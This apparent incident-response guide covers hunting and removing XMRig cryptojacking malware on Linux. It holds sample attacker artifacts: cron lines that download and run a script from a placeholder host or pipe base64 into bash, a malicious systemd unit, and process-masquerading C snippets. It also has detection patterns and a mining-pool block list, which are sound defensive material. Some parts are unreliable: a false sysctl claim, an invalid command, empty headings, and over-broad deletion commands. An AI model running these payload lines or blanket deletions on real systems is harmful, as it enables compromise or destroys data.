The Silent Drain: An Exhaustive Guide to Neutralizing Linux Cryptojacking Malware

The Silent Drain: An Exhaustive Guide to Neutralizing Linux Cryptojacking Malware

Cryptojacking malware represents one of the most insidious threats in modern Linux infrastructure. Unlike ransomware that announces its presence, cryptojackers operate silently, draining computational resources while masquerading as legitimate system processes. This comprehensive guide documents real-world incident response techniques for detecting, analyzing, and eradicating XMRig-based cryptocurrency miners using kernel-level masquerading and multi-vector persistence mechanisms.

Executive Summary

Cryptojacking malware represents one of the most insidious threats in modern Linux infrastructure. Unlike ransomware that announces its presence, cryptojackers operate in the shadows, silently draining computational resources while masquerading as legitimate system processes. This comprehensive guide documents a real-world incident involving XMRig-based cryptocurrency miners that employed sophisticated kernel-level masquerading, multi-vector persistence mechanisms, and advanced evasion techniques.

The malware in this incident specifically targeted Monero (XMR) mining operations, utilizing randomly named binaries in /tmp, masquerading as kernel worker threads (kworker), and establishing multiple persistence mechanisms including systemd units, crontabs, and SSH backdoors. This guide provides an exhaustive technical analysis suitable for incident responders, security engineers, and system administrators.

> CRITICAL WARNING: Always perform incident response activities on isolated systems or with proper network segmentation. Cryptojacking malware frequently includes remote access capabilities and may alert attackers during cleanup attempts.

---

Table of Contents

---

1. Understanding the Threat Landscape

1.1 The Economics of Cryptojacking

Cryptojacking has become the preferred attack vector for financially motivated threat actors due to its low-risk, high-reward nature. Unlike ransomware, which requires victim interaction and payment infrastructure, cryptojacking operates autonomously and converts CPU cycles directly into cryptocurrency.

Key Statistics:

1.2 XMRig: The Weapon of Choice

XMRig is a legitimate, open-source Monero mining application that has been weaponized by threat actors. Its popularity among attackers stems from:

1.3 Attack Kill Chain Overview


[Initial Access] → [Execution] → [Persistence] → [Defense Evasion] → [Command & Control]
      ↓                ↓              ↓                  ↓                    ↓
SSH Bruteforce    Download Miner  Systemd Units    Process Masking    Mining Pool
Web Exploits      Execute Binary   Crontabs         File Hiding        (Stratum)
Exposed Services  Dropper Script   SSH Keys         Log Tampering      Backup C2

---

2. Initial Detection and Triage

2.1 Recognizing the Symptoms

The first indication of compromise typically manifests through performance degradation:

Primary Indicators:

2.2 Initial Triage Commands


# Check overall system load
uptime
top -bn1 | head -20

# Identify CPU-intensive processes
ps aux --sort=-%cpu | head -20

# Check for suspicious kworker processes (real kworkers are kernel threads with brackets)
ps aux | grep -E 'kworker|xmrig' | grep -v grep

# Identify processes without brackets (potential imposters)
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu | head -20

Critical Observation: Legitimate kernel workers appear in ps output as [kworker/u:0] with brackets. Malicious processes masquerading as kworker will appear as kworker without brackets.

2.3 Quick Network Analysis


# Identify mining pool connections (Stratum protocol typically uses these ports)
netstat -antp | grep -E ':3333|:5555|:7777|:8888|ESTABLISHED'

# Alternative using ss (more modern)
ss -tunap | grep -E ':3333|:5555|:7777|ESTABLISHED'

# Check for connections to known mining pools
lsof -i -P -n | grep -E 'xmr|pool|stratum|crypto'

Stratum Protocol Identification: Mining pools use the Stratum protocol (JSON-RPC over TCP). Connections typically show:

---

3. Deep Technical Analysis

3.1 Process Discovery and Analysis

Once suspicious processes are identified, perform deep analysis:


# Get full process details
PID=$(pgrep -f "kworker" | grep -v "\[" | head -1)
echo "Suspicious PID: $PID"

# Examine process details
ls -la /proc/$PID/exe
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n'

# Check process file descriptor for network connections
ls -la /proc/$PID/fd/
lsof -p $PID

# Examine memory maps for suspicious libraries
cat /proc/$PID/maps
grep -i 'heap\|stack' /proc/$PID/maps

3.2 Binary Analysis


# Locate the actual binary
BINARY=$(readlink -f /proc/$PID/exe)
echo "Binary location: $BINARY"

# Check if binary is deleted (common evasion technique)
ls -la /proc/$PID/exe
# If shows: /proc/12345/exe -> /tmp/xmrig (deleted)

# Extract binary from memory (if deleted)
cp /proc/$PID/exe /tmp/extracted_malware
chmod 644 /tmp/extracted_malware

# Analyze binary properties
file /tmp/extracted_malware
strings /tmp/extracted_malware | grep -E 'pool|donate|wallet|xmr|config'
objdump -T /tmp/extracted_malware | grep -E 'prctl|setproctitle'

# Check for UPX packing (common obfuscation)
upx -t /tmp/extracted_malware 2>&1

3.3 Understanding the Binary Location Strategy

Malware uses /tmp for several strategic reasons:

| Reason | Technical Explanation |

|--------|----------------------|

| World-writable | No privilege escalation needed for initial placement |

| Temporary nature | Sysadmins less likely to scrutinize /tmp contents |

| Volatile storage | Reboot clears evidence (requires persistence mechanisms) |

| No noexec by default | Most systems don't mount /tmp with noexec flag |

| Process elevation | Can execute as any user who has write access |

Random Alphanumeric Naming Strategy:


/tmp/kworker        # Mimics kernel worker threads
/tmp/systemd-login  # Mimics systemd processes
/tmp/a7b3c9d2e1f4   # Random hex strings
/tmp/.hidden        # Hidden files (dot-prefix)
/tmp/...            # Triple-dot obfuscation

---

4. Kernel Masquerading Techniques

4.1 The prctl() System Call Exploitation

The most sophisticated aspect of this malware is its use of the prctl() system call to masquerade as legitimate kernel processes.

Technical Deep Dive:


// Malware typically uses this pattern:
#include <sys/prctl.h>

int main() {
    // Change process name to appear as kworker
    prctl(PR_SET_NAME, "kworker", 0, 0, 0);

    // Fork to create daemon process
    if (fork() > 0) exit(0);

    // Detach from terminal
    setsid();

    // Execute actual mining operations
    start_mining();
}

Why prctl() is Effective:

4.2 Detection Methodology

Identifying prctl() Masquerading:


# Method 1: Compare comm vs cmdline
for pid in $(pgrep -x "kworker"); do
    echo "=== PID: $pid ==="
    echo "COMM: $(cat /proc/$pid/comm 2>/dev/null)"
    echo "CMDLINE: $(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')"
    echo "EXE: $(readlink /proc/$pid/exe 2>/dev/null)"
    echo "---"
done

# Method 2: Real kernel threads have PPID of 2 (kthreadd)
ps -eo pid,ppid,comm,cmd | grep kworker | awk '$2 != 2 {print}'

# Method 3: Kernel threads exist in kernel address space
ps aux | grep '\[kworker' | grep -v grep  # Real (with brackets)
ps aux | grep 'kworker' | grep -v grep | grep -v '\['  # Fake (without brackets)

# Method 4: Check for executable binary (kernel threads have no exe)
for pid in $(pgrep -x "kworker"); do
    if [ -e "/proc/$pid/exe" ]; then
        echo "SUSPICIOUS: PID $pid has executable binary"
        ls -la /proc/$pid/exe
    fi
done

4.3 Advanced Evasion: setproctitle()

Some variants use setproctitle() for more sophisticated masquerading:


// Even more stealthy approach
#include <sys/prctl.h>
#include <string.h>

void hide_process(int argc, char *argv[]) {
    // Overwrite argv[] to change full command line
    memset(argv[0], 0, strlen(argv[0]));
    strcpy(argv[0], "[kworker/0:1]");

    // Also change comm name
    prctl(PR_SET_NAME, "[kworker/0:1]", 0, 0, 0);
}

Detection for setproctitle():


# Check for memory map anomalies
cat /proc/$PID/maps | grep -E '\[heap\]|\[stack\]'

# Examine actual binary vs reported name
readlink /proc/$PID/exe vs cat /proc/$PID/cmdline

# Kernel threads NEVER have:
# - Open file descriptors to regular files
# - Network connections
# - Non-kernel memory mappings

4.4 Behavioral Analysis Table

| Characteristic | Legitimate kworker | Malicious Imposter |

|---------------|-------------------|-------------------|

| Process name in ps | [kworker/u:0] (brackets) | kworker (no brackets) |

| Parent PID (PPID) | 2 (kthreadd) | 1 (init/systemd) or other |

| Executable binary | None (/proc/$PID/exe doesn't exist) | Points to /tmp/ or deleted file |

| File descriptors | Minimal kernel FDs | Network sockets, files |

| CPU usage pattern | Bursty (0-5%) | Sustained (80-100%) |

| Memory mapping | Kernel address space | User space with heap/stack |

| cgroups membership | kernel slice | user.slice or system.slice |

---

5. Multi-Vector Persistence Mechanisms

5.1 Systemd Unit Persistence

Systemd provides robust process management, making it a prime target for persistence.

Common Malicious Unit Locations:


# System-wide locations (requires root)
/etc/systemd/system/
/usr/lib/systemd/system/
/lib/systemd/system/

# User-specific locations (no root required)
~/.config/systemd/user/
~/.local/share/systemd/user/

Discovery Commands:


# List all systemd services
systemctl list-unit-files --type=service --all

# Search for suspicious services
systemctl list-units --type=service --state=running | grep -vE 'systemd|dbus|network|ssh'

# Check for user-level systemd services
systemctl --user list-unit-files

# Examine suspicious service files
find /etc/systemd/system -name "*.service" -exec grep -l "ExecStart" {} \; | \
    xargs grep -l -E '/tmp|wget|curl|download'

# Look for recently created systemd units
find /etc/systemd/system -type f -mtime -7 -ls
find ~/.config/systemd/user -type f -mtime -7 -ls 2>/dev/null

Example Malicious Unit File:


# /etc/systemd/system/systemd-login.service
[Unit]
Description=Systemd Login Service
After=network.target

[Service]
Type=forking
ExecStart=/tmp/kworker --config=/tmp/config.json
Restart=always
RestartSec=10
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target

Red Flags in Systemd Units:

5.2 Crontab Persistence

Cron provides scheduled execution, ensuring malware survives process termination.

Comprehensive Crontab Discovery:


# System-wide crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# User crontabs
crontab -l  # Current user
crontab -l -u root  # Root user
for user in $(cut -f1 -d: /etc/passwd); do
    echo "=== $user ==="
    crontab -l -u $user 2>/dev/null
done

# Alternative: Check crontab spool directory
ls -la /var/spool/cron/crontabs/
cat /var/spool/cron/crontabs/*

# Find recently modified crontabs
find /var/spool/cron -type f -mtime -7 -ls

Common Malicious Cron Patterns:


# Every 5 minutes execution
*/5 * * * * /tmp/kworker >/dev/null 2>&1

# Download and execute
*/10 * * * * curl -s http://malicious.site/miner.sh | bash

# Persistence checker and reinstaller
@reboot sleep 60 && /tmp/.hidden/kworker
*/15 * * * * pgrep -x kworker || /tmp/kworker --config=/tmp/config.json

# Base64 encoded payload
*/5 * * * * echo "Base64EncodedPayload" | base64 -d | bash

5.3 SSH Key Backdoor

Attackers insert authorized SSH keys for persistent remote access.

Discovery Process:


# Check all authorized_keys files
find / -name "authorized_keys" -type f 2>/dev/null -exec ls -la {} \;

# Common locations
cat /root/.ssh/authorized_keys
cat ~/.ssh/authorized_keys
find /home -name "authorized_keys" -exec cat {} \; 2>/dev/null

# Check for recently added keys
find / -name "authorized_keys" -type f -mtime -30 -ls 2>/dev/null

# Examine SSH daemon logs for key-based logins
grep -i "Accepted publickey" /var/log/auth.log | tail -20

# Check for SSH connection attempts
grep -E "Failed|Accepted" /var/log/auth.log | grep -v "Accepted publickey for known_user"

Malicious Key Characteristics:


# Example backdoor key
cat /root/.ssh/authorized_keys
# ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... attacker@malicious
# Key comments often generic or missing
# No associated known administrator
# Added alongside legitimate keys

Advanced SSH Backdoor Detection:


# Check SSH daemon configuration for backdoors
grep -v "^#" /etc/ssh/sshd_config | grep -E "PermitRoot|PasswordAuth|PubkeyAuth"

# Look for SSH-related cron jobs
crontab -l | grep ssh
grep -r "ssh" /etc/cron.*

# Check for persistent SSH tunnels
ps aux | grep -E 'ssh.*-N.*-R|ssh.*-N.*-L' | grep -v grep
netstat -antp | grep ssh | grep ESTABLISHED

5.4 Init System Persistence (Legacy Systems)

For systems still using SysV init or rc.local:


# Check rc.local
cat /etc/rc.local

# Check init.d scripts
ls -la /etc/init.d/ | grep -E 'systemd|kworker|network'
find /etc/init.d/ -type f -mtime -30 -ls

# Check profile and bashrc files
cat /etc/profile
cat /etc/bash.bashrc
cat ~/.bashrc
cat ~/.bash_profile

# Look for LD_PRELOAD hijacking
cat /etc/ld.so.preload 2>/dev/null

---

6. Forensic Investigation Methodology

6.1 Log Correlation and Analysis

Comprehensive log analysis reveals the infection vector and timeline.

Critical Log Files:


# Authentication logs (SSH brute-force detection)
/var/log/auth.log       # Debian/Ubuntu
/var/log/secure         # RHEL/CentOS

# System logs
/var/log/syslog
/var/log/messages

# Command history
~/.bash_history
/root/.bash_history

# Web server logs (if applicable)
/var/log/apache2/access.log
/var/log/nginx/access.log

SSH Brute-Force Analysis:


# Identify failed login attempts
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20

# Find successful logins after failures (compromise indicator)
grep "Accepted password" /var/log/auth.log | tail -20

# Check for login from unusual IPs
grep "Accepted" /var/log/auth.log | awk '{print $11}' | sort | uniq -c

# Timeline of authentication events
grep -E "session opened|Accepted|Failed" /var/log/auth.log | tail -50

# Identify port scanning attempts
grep "Did not receive identification string" /var/log/auth.log | wc -l

Example Timeline Reconstruction:


2025-12-20 03:15:22 - Failed password attempts from 45.67.89.123 (1,247 attempts)
2025-12-20 03:47:18 - Accepted password for root from 45.67.89.123
2025-12-20 03:47:45 - Session opened for user root
2025-12-20 03:48:03 - curl command to download.malicious.site
2025-12-20 03:48:15 - /tmp/kworker executed
2025-12-20 03:48:30 - crontab modified for persistence
2025-12-20 03:49:12 - High CPU usage begins

6.2 Using lsof for Hidden Socket Detection

The lsof (List Open Files) command is crucial for identifying network connections:


# Find all network connections
lsof -i -n -P

# Find connections by suspicious process
lsof -p $PID -n -P

# Identify established connections to mining pools
lsof -i -n -P | grep ESTABLISHED | grep -E ':3333|:5555|:7777'

# Find IPv4/IPv6 connections excluding known services
lsof -i 4 -n -P | grep -v -E ':22|:80|:443|:53'

# Check for deleted executables with active connections
lsof -n | grep "(deleted)" | grep -v "/tmp"

# Find processes listening on unusual ports
lsof -i -n -P | grep LISTEN | grep -v -E ':22|:80|:443|:53|:25'

Advanced lsof Forensics:


# Full socket analysis for a suspicious PID
lsof -p $PID | grep -E 'IPv4|IPv6|UNIX'

# Example output interpretation:
# kworker 12345 root 3u IPv4 98765 0t0 TCP 10.0.0.5:45678->pool.minexmr.com:3333 (ESTABLISHED)
#         ^PID        ^FD ^Type       ^Local            ^Remote (MINING POOL!)

# Extract mining pool domains
lsof -i -n -P | grep ESTABLISHED | awk '{print $9}' | cut -d'>' -f2 | cut -d':' -f1 | sort -u

# Check file descriptors for configuration files
lsof -p $PID | grep -E '\.json|\.conf|config'

6.3 Analyzing config.json Mining Parameters

XMRig uses a JSON configuration file containing mining parameters:

Locating Config Files:


# Search for config files
find /tmp /var/tmp /dev/shm /home -name "config.json" 2>/dev/null
find / -name "*xmrig*.json" 2>/dev/null

# Check process file descriptors
lsof -p $PID | grep ".json"

# Search for config in process memory
strings /proc/$PID/mem 2>/dev/null | grep -A 10 -B 10 '"url":\|"user":\|"pass":'

# Alternative: Check process command line
cat /proc/$PID/cmdline | tr '\0' '\n' | grep -E 'config|json'

Typical Malicious config.json Structure:


{
    "autosave": true,
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "hw-aes": null,
        "priority": 5,
        "max-threads-hint": 100,
        "asm": true
    },
    "donate-level": 1,
    "donate-over-proxy": 1,
    "log-file": null,
    "pools": [
        {
            "algo": "rx/0",
            "coin": "monero",
            "url": "pool.minexmr.com:3333",
            "user": "47vK3hWBKjH8QLSwLGLG89QdD7e4PKgG3S9KLPWDqaWdP3UjKqHILXEDF6GqQ3PNGVTYw5YVHjMK5qrLbyZiBXAoF1qzBGT",
            "pass": "x",
            "rig-id": "infected_server_01",
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null
        }
    ],
    "retries": 5,
    "retry-pause": 5,
    "print-time": 60,
    "health-print-time": 60,
    "verbose": 0,
    "background": true,
    "syslog": false
}

Configuration Analysis - Key Indicators:

| Parameter | Malicious Value | Analysis |

|-----------|----------------|----------|

| max-threads-hint | 100 or near CPU core count | Maximizes resource usage |

| donate-level | 0 or 1 | Reduces operator donation (more profit) |

| log-file | null or /dev/null | Hides activity logs |

| background | true | Runs as daemon |

| priority | 5 (high) | Competes with legitimate processes |

| huge-pages | true | Performance optimization |

| user | Long Monero address | Attacker's wallet |

| rig-id | Hostname or identifier | Tracking compromised hosts |

| url | Known mining pool | Direct evidence |

| keepalive | true | Maintains persistent connection |

Extracting Intelligence from Config:


# Extract mining pool URL
cat config.json | jq -r '.pools[].url'

# Extract wallet address (critical for tracking attacker)
cat config.json | jq -r '.pools[].user'

# Check for multiple pools (fallback mechanism)
cat config.json | jq '.pools | length'

# Identify coin being mined
cat config.json | jq -r '.pools[].coin'

# Check CPU configuration
cat config.json | jq '.cpu'

OSINT on Wallet Address:


# Use Monero blockchain explorers
WALLET="47vK3hWBKjH8QLSwLGLG89QdD7e4PKgG3S..."
echo "Check wallet at: https://xmrchain.net/search?value=$WALLET"

# Mining pool API (if available)
curl -s "https://api.minexmr.com/pool/stats" | jq .

# Correlate with threat intelligence feeds
grep -r "$WALLET" /var/log/threat_intel/

6.4 Network Traffic Analysis

Capturing Stratum Protocol Traffic:


# Capture traffic to mining pools
tcpdump -i any -n 'port 3333 or port 5555 or port 7777' -w mining_traffic.pcap

# Real-time monitoring
tcpdump -i any -n -A 'port 3333' | grep -E 'login|result|job'

# Using tshark for detailed analysis
tshark -r mining_traffic.pcap -Y "tcp.port == 3333" -T fields -e ip.dst -e tcp.dstport

Stratum Protocol Inspection:


Typical Stratum traffic (JSON-RPC):
→ {"id":1,"method":"login","params":{"login":"WALLET","pass":"x","agent":"xmrig/6.18.0"}}
← {"id":1,"result":{"id":"12345","job":{...},"status":"OK"}}
→ {"id":2,"method":"submit","params":{"id":"12345","job_id":"xyz","nonce":"abc123",...}}
← {"id":2,"result":{"status":"OK"}}

Identifying Encrypted/Obfuscated Traffic:


# Check for TLS/SSL encrypted mining
openssl s_client -connect pool.minexmr.com:443 -showcerts 2>/dev/null

# Detect DNS tunneling (alternative C2)
tcpdump -i any -n 'port 53' -w dns_traffic.pcap
tshark -r dns_traffic.pcap -Y "dns" -T fields -e dns.qry.name | sort | uniq -c | sort -rn

---

7. Complete Eradication Procedures

7.1 Pre-Eradication Preparation

Critical Steps Before Removal:

> WARNING: Do NOT immediately kill processes or remove files without proper evidence collection. Hasty remediation destroys forensic evidence.

Evidence Preservation:


# Create forensic directory
mkdir -p /root/incident_response/
cd /root/incident_response/

# Capture running process state
ps aux > ps_snapshot.txt
top -bn1 > top_snapshot.txt
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu > process_tree.txt

# Capture network connections
netstat -antp > netstat_snapshot.txt
ss -tunap > ss_snapshot.txt
lsof -i -n -P > lsof_network.txt

# Capture persistence mechanisms
crontab -l > root_crontab.txt
systemctl list-unit-files > systemd_units.txt
cat /etc/rc.local > rc_local.txt

# Copy malicious binaries for analysis
PID=$(pgrep -f kworker | head -1)
cp /proc/$PID/exe ./malware_binary
cp /tmp/config.json ./config.json 2>/dev/null

# Capture memory dump (optional, for advanced analysis)
gcore $PID

# Document timeline
date > incident_timeline.txt
echo "Initial detection: [TIMESTAMP]" >> incident_timeline.txt
last -20 >> incident_timeline.txt

7.2 Process Termination

Step-by-Step Process Killing:


# Identify all malicious PIDs
MAL_PIDS=$(ps aux | grep -E 'kworker|xmrig' | grep -v grep | grep -v '\[' | awk '{print $2}')

echo "Malicious PIDs identified: $MAL_PIDS"

# Kill processes gracefully first (SIGTERM)
for pid in $MAL_PIDS; do
    echo "Terminating PID $pid"
    kill -15 $pid
    sleep 2
done

# Force kill if still running (SIGKILL)
for pid in $MAL_PIDS; do
    if ps -p $pid > /dev/null; then
        echo "Force killing PID $pid"
        kill -9 $pid
    fi
done

# Verify termination
ps aux | grep -E 'kworker|xmrig' | grep -v grep

7.3 Removing Systemd Persistence

Complete Systemd Cleanup:


# Find suspicious services
systemctl list-unit-files | grep -E 'enabled|static' | grep -v '@' > enabled_services.txt

# Disable and stop malicious services
MALICIOUS_SERVICES="systemd-login.service kworker.service network-manager.service"

for service in $MALICIOUS_SERVICES; do
    echo "Processing $service"
    systemctl stop $service 2>/dev/null
    systemctl disable $service 2>/dev/null
    systemctl mask $service 2>/dev/null
done

# Remove service files
find /etc/systemd/system -name "*kworker*" -delete
find /etc/systemd/system -name "*xmrig*" -delete
find /etc/systemd/system -type f -mtime -7 -exec grep -l "/tmp" {} \; -delete

# User-level systemd cleanup
find ~/.config/systemd/user -type f -delete 2>/dev/null
find ~/.local/share/systemd/user -type f -delete 2>/dev/null

# Reload systemd
systemctl daemon-reload
systemctl reset-failed

# Verify removal
systemctl list-unit-files | grep -E 'kworker|xmrig|systemd-login'

7.4 Crontab Eradication

Comprehensive Crontab Cleanup:


# Backup existing crontabs first
for user in $(cut -f1 -d: /etc/passwd); do
    crontab -l -u $user > /root/incident_response/crontab_${user}_backup.txt 2>/dev/null
done

# Remove malicious cron entries
crontab -l | grep -v '/tmp' | grep -v 'curl.*sh' | grep -v 'wget.*sh' | crontab -

# Clean system-wide cron directories
find /etc/cron.d/ -type f -mtime -7 -exec grep -l '/tmp' {} \; -delete
find /etc/cron.hourly/ -type f -mtime -7 -delete
find /etc/cron.daily/ -type f -mtime -7 -delete

# Review and manually clean /etc/crontab
grep -v '#' /etc/crontab | grep -E '/tmp|wget|curl'
# Manually edit if suspicious entries found: nano /etc/crontab

# Clean user crontabs for all users
for user in $(cut -f1 -d: /etc/passwd); do
    crontab -l -u $user 2>/dev/null | grep -v '/tmp' | grep -v 'curl.*sh' | crontab -u $user - 2>/dev/null
done

# Restart cron service
systemctl restart cron 2>/dev/null || systemctl restart crond 2>/dev/null

7.5 SSH Backdoor Removal

Cleaning Authorized Keys:


# Backup all authorized_keys
find / -name "authorized_keys" -type f 2>/dev/null -exec cp {} {}.backup \;

# Review root's authorized keys
cat /root/.ssh/authorized_keys
# Remove suspicious keys manually or use:
grep -v "attacker@" /root/.ssh/authorized_keys > /tmp/clean_keys
mv /tmp/clean_keys /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Clean all user authorized_keys
for homedir in /home/*; do
    if [ -f "$homedir/.ssh/authorized_keys" ]; then
        echo "Checking $homedir/.ssh/authorized_keys"
        # Review and clean manually
        nano $homedir/.ssh/authorized_keys
    fi
done

# Check for SSH configuration backdoors
grep -v '^#' /etc/ssh/sshd_config | grep -E 'PermitRootLogin|PasswordAuthentication'

# Secure SSH configuration
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config

# Restart SSH
systemctl restart sshd

7.6 Binary and Configuration Removal

Comprehensive File Cleanup:


# Remove binaries from /tmp
find /tmp -type f -executable -mtime -7 -delete
find /tmp -name '*kworker*' -delete
find /tmp -name '*xmrig*' -delete
find /tmp -name 'config.json' -delete
find /tmp -name '.*' -type f -delete  # Hidden files

# Clean /var/tmp and /dev/shm
find /var/tmp -type f -executable -delete
find /dev/shm -type f -executable -delete

# Remove from common hiding locations
find /var/spool -type f -executable -mtime -7 -delete 2>/dev/null
find /var/cache -type f -executable -mtime -7 -delete 2>/dev/null

# Check and remove from user directories
find /home -type f -executable -name '*kworker*' -delete 2>/dev/null
find /root -type f -executable -name '*xmrig*' -delete 2>/dev/null

# Remove download scripts
find / -type f -name '*.sh' -mtime -7 -exec grep -l 'xmrig\|miner\|wget.*http' {} \; -delete 2>/dev/null

---

8. System Hardening and Prevention

8.1 Immutable Files with chattr

Understanding chattr +i:

The chattr command sets file attributes at the filesystem level, making files immutable even to root:


# Make critical files immutable
chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/group
chattr +i /etc/sudoers
chattr +i /etc/ssh/sshd_config
chattr +i /root/.ssh/authorized_keys

# Verify immutability
lsattr /etc/passwd
# Output: ----i---------e----- /etc/passwd

# To modify in future (requires removal of immutable flag):
# chattr -i /etc/passwd
# [make changes]
# chattr +i /etc/passwd

Why chattr +i is Effective:

| Feature | Impact on Attackers |

|---------|--------------------|

| Prevents modification | Cannot add backdoor users to /etc/passwd |

| Prevents deletion | Cannot remove evidence |

| Prevents renaming | Cannot replace with malicious versions |

| Requires explicit removal | Extra step that generates audit logs |

| Works even for root | Limits attacker capabilities even with root access |

Advanced Protection:


# Protect systemd service directories
chattr +i /etc/systemd/system/*.service

# Protect crontab files
chattr +i /etc/crontab
chattr +i /var/spool/cron/crontabs/*

# Protect shell profiles
chattr +i /etc/profile
chattr +i /etc/bash.bashrc
chattr +i /root/.bashrc

8.2 noexec Mount Flags for /tmp

Understanding noexec Protection:

The noexec mount option prevents binary execution from a filesystem, effectively neutralizing /tmp as a malware staging ground.

Implementation:


# Current mount status
mount | grep /tmp

# Temporary application (immediate effect)
mount -o remount,noexec,nosuid,nodev /tmp

# Verify
mount | grep /tmp
# Output: tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)

# Test (should fail)
cp /bin/ls /tmp/test_binary
/tmp/test_binary  # bash: /tmp/test_binary: Permission denied

Persistent Configuration in /etc/fstab:


# Backup fstab
cp /etc/fstab /etc/fstab.backup

# Add or modify /tmp entry
echo "tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev,mode=1777 0 0" >> /etc/fstab

# Also protect /var/tmp
echo "tmpfs /var/tmp tmpfs defaults,noexec,nosuid,nodev,mode=1777 0 0" >> /etc/fstab

# And /dev/shm
echo "tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0" >> /etc/fstab

# Test fstab (dry run)
mount -a -v

# Apply after reboot or immediately:
systemctl daemon-reload
mount -o remount /tmp
mount -o remount /var/tmp
mount -o remount /dev/shm

Mount Options Explained:

| Option | Effect | Security Benefit |

|--------|--------|------------------|

| noexec | Prevents binary execution | Blocks /tmp malware staging |

| nosuid | Ignores setuid/setgid bits | Prevents privilege escalation |

| nodev | Prevents device file interpretation | Blocks device-based attacks |

| mode=1777 | Sticky bit + world writable | Users can only delete own files |

Handling Legitimate Software Issues:

Some applications may break with noexec on /tmp:


# Create alternative execution directory
mkdir -p /opt/tmp
chmod 1777 /opt/tmp

# Modify application to use alternative:
export TMPDIR=/opt/tmp
# Add to /etc/environment for system-wide effect
echo "TMPDIR=/opt/tmp" >> /etc/environment

8.3 Egress Filtering for Stratum Protocols

Blocking Mining Pool Connections:

Implement firewall rules to block outbound connections to common mining ports:

Using iptables:


# Block common Stratum ports
iptables -A OUTPUT -p tcp --dport 3333 -j REJECT
iptables -A OUTPUT -p tcp --dport 5555 -j REJECT
iptables -A OUTPUT -p tcp --dport 7777 -j REJECT
iptables -A OUTPUT -p tcp --dport 8888 -j REJECT
iptables -A OUTPUT -p tcp --dport 9999 -j REJECT

# Block known mining pool IPs (example)
iptables -A OUTPUT -d 95.179.145.0/24 -j REJECT

# Log blocked attempts for monitoring
iptables -A OUTPUT -p tcp --dport 3333 -j LOG --log-prefix "MINING_BLOCKED: "

# Save rules
iptables-save > /etc/iptables/rules.v4
ip6tables-save > /etc/iptables/rules.v6

# Persist across reboots (Debian/Ubuntu)
apt-get install iptables-persistent

Using firewalld (RHEL/CentOS):


# Block Stratum ports
firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 -p tcp --dport 3333 -j REJECT
firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 -p tcp --dport 5555 -j REJECT
firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 -p tcp --dport 7777 -j REJECT

# Reload firewall
firewall-cmd --reload

# Verify
firewall-cmd --direct --get-all-rules

Using UFW (Ubuntu):


# Enable UFW
ufw enable

# Default policies
ufw default deny incoming
ufw default allow outgoing

# Block Stratum ports
ufw deny out 3333/tcp
ufw deny out 5555/tcp
ufw deny out 7777/tcp
ufw deny out 8888/tcp

# Allow necessary services
ufw allow 22/tcp  # SSH
ufw allow 80/tcp  # HTTP
ufw allow 443/tcp # HTTPS

# Check status
ufw status verbose

Advanced: Domain-Based Blocking:


# Create mining pool blacklist
cat > /etc/mining-pools-blacklist.txt << 'EOL'
pool.minexmr.com
xmr.pool.minergate.com
pool.supportxmr.com
monerohash.com
xmrpool.eu
mine.xmrpool.net
crypto-pool.fr
EOL

# Use DNS filtering or hosts file
while read domain; do
    echo "127.0.0.1 $domain" >> /etc/hosts
done < /etc/mining-pools-blacklist.txt

# Or use DNS-level blocking (Pi-hole, Unbound, etc.)

8.4 Additional Hardening Measures

Kernel Hardening (sysctl):


# Create security configuration
cat > /etc/sysctl.d/99-security.conf << 'EOF'
# Prevent IP spoofing
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# Ignore ICMP redirects
net.ipv4.conf.all.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0

# Prevent SYN flood attacks
net.ipv4.tcp_syncookies = 1

# Log suspicious packets
net.ipv4.conf.all.log_martians = 1

# Prevent process from changing pr_set_name after execution
kernel.yama.ptrace_scope = 1

# Restrict dmesg access
kernel.dmesg_restrict = 1
EOF

# Apply settings
sysctl -p /etc/sysctl.d/99-security.conf

File Integrity Monitoring:


# Install AIDE (Advanced Intrusion Detection Environment)
apt-get install aide -y  # Debian/Ubuntu
yum install aide -y      # RHEL/CentOS

# Initialize database
aideinit

# Copy database
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Configure monitoring
cat >> /etc/aide/aide.conf << 'EOF'
# Monitor critical directories
/tmp R
/var/tmp R
/etc/systemd/system R
/etc/cron.d R
/root/.ssh R
EOF

# Run check
aide --check

# Schedule daily checks
echo "0 3 * * * root /usr/bin/aide --check | mail -s 'AIDE Report' [email protected]" >> /etc/crontab

Auditd for Process Monitoring:


# Install auditd
apt-get install auditd audispd-plugins -y

# Monitor process execution in /tmp
auditctl -w /tmp -p x -k tmp_execution
auditctl -w /var/tmp -p x -k tmp_execution

# Monitor systemd changes
auditctl -w /etc/systemd/system -p wa -k systemd_changes

# Monitor crontab modifications
auditctl -w /etc/crontab -p wa -k cron_changes
auditctl -w /var/spool/cron -p wa -k cron_changes

# Monitor SSH key changes
auditctl -w /root/.ssh/authorized_keys -p wa -k ssh_key_changes

# Save rules permanently
auditctl -l > /etc/audit/rules.d/cryptojacking.rules

